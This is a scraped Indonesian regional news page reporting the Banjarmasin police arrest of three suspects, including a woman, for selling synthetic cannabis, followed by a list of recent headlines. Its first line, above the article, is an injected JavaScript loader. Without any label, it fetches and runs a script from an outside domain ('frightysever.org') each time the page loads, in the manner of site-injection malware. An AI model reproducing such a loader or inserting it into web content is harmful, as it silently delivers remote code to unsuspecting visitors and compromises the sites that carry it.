(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Tiga Pengedar Tembakau Gorila Dibekuk, Salah Satunya Perempuan


BANJARMASIN, Jajaran Timsus Direktorat Narkoba Polda Kalsel berhasil menciduk tiga pengedar tembakau gorila merek Monkey Banana di lokasi berbeda, Rabu (18/7) pukul 16.30 Wita. Mereka adalah D warga Jalan Veteran Kecamatan Banjarmasin Timur, GT H alias H warga Jalan Martapura Lama Km 8 Kecamatan Sungai Tabuk, Kabupaten Banjar, serta seorang perempuan HM, warga Jalan Gerilya Kecamatan Banjarmasin Selatan.

Ketiganya diciduk di tiga TKP berbeda yakni di Jalan Banua Anyar, Kecamatan Banjarmasin Timur, kemudian di Jalan Martapura Lama Kecamatan Sungai Tabuk, dan lokasi ketiga di warung milik HM di Jalan Gerilya, Kecamatan Banjarmasin Selatan.

Direktur Direktorat Resnarkoba Polda Kalsel Kombes M Firman mengatakan, polisi pertama meringkus pelaku GT di Jalan Benua Anyar pukul 11.30 Wita dengan barang bukti 1,24 gram tembakau gorila. “Penangkapan selanjutnya dilakukan di Jalan Martapura Lama, pukul 14.00 Wita dan selanjutnya penangkapan dilakukan di Jalan Gerilya pukul 16.30 Wita. Dari penangkapan di tiga lokasi itu tiga tersangka D, GT, dan HM,” kata M Firman, Kamis (19/7).

Secara terinci, Labag Opsnal Ditresnarkoba AKBp Daryanto menambahkan, penangkapan pertama dilakukan terhadap D dalam suatu transaksi yang dilakukan petugas di tepi Jalan Banua Anyar Kecamatan Banjarmasin Timur. Dalam penangkapan itu petugas menemukan dan menyita barang bukti berupa tembakau gorilla dengan berat kotor 1,24 gram.

Tak berhenti di sana, sekitar pukul 14.00 Wita, melakukan gerak lagi dan menangkap GT H di rumahnya yang beralamat di Jalan Martapura Lama Km 8, Kabupaten Banjar. Di sini petugas menemukan satu paket biji ganja dengan berat kotor 12,83 gram dan satu paket tembakau gorilla berat kotor 1,81 gram. GT H pun mengakui kepemilikan barang-barang tersebut.

Selanjutnya sekitar pukul 16:30 Wita, polisi melakukan penangkapan terhadap satu wanita berinisial HM di Jalan Gerilya Kecamatan Banjarmasin Selatan. Di sini ditemukan tujuh paket tembakau gorilla dengan berat kotor 20,44 gram.

Menurut Daryanto,  hasil pemeriksaan di labotarium hasilnya positif tembakau gorilla, maka ketiganya mereka tahan. Selain itu di lokasi pihaknya temukan puluhan bungkus tembakau gorilla.(ammar)

Reporter: Ammar
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.